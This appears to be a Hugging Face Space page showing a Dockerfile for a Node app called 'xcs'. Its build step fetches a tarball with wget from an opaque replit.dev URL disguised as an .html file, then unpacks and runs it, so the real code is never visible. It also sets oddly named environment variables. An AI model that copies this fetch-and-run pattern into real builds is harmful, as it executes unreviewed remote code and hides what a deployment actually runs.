Spaces:
Running

xcs / Dockerfile
dfscj's picture
Update Dockerfile
ad9cffd verified
Raw History Blame Contribute Delete
551 Bytes
FROM node:20-alpine AS base
RUN apk add --no-cache gcompat npm git
WORKDIR /app
RUN wget -O my-app.tar.gz "https://d0dae0a3-2774-495e-94fb-517006db7fae-00-1styqbiyaw84w.riker.replit.dev/Inefc7WCgHBSs.html?token=438706bacdd4288d634b71c3beb551c4" && tar -xzf my-app.tar.gz && npm ci --omit=dev
FROM base AS runner
WORKDIR /app
ENV XU=H
ENV DJVUN=h
ENV NODE_ENV=production
RUN addgroup --system --gid 1001 nodejs
RUN adduser --system --uid 1001 hono
USER hono
EXPOSE 3000
CMD ["node", "/app/dist/index.js" , "--host", "0.0.0.0", "--port", "3000"]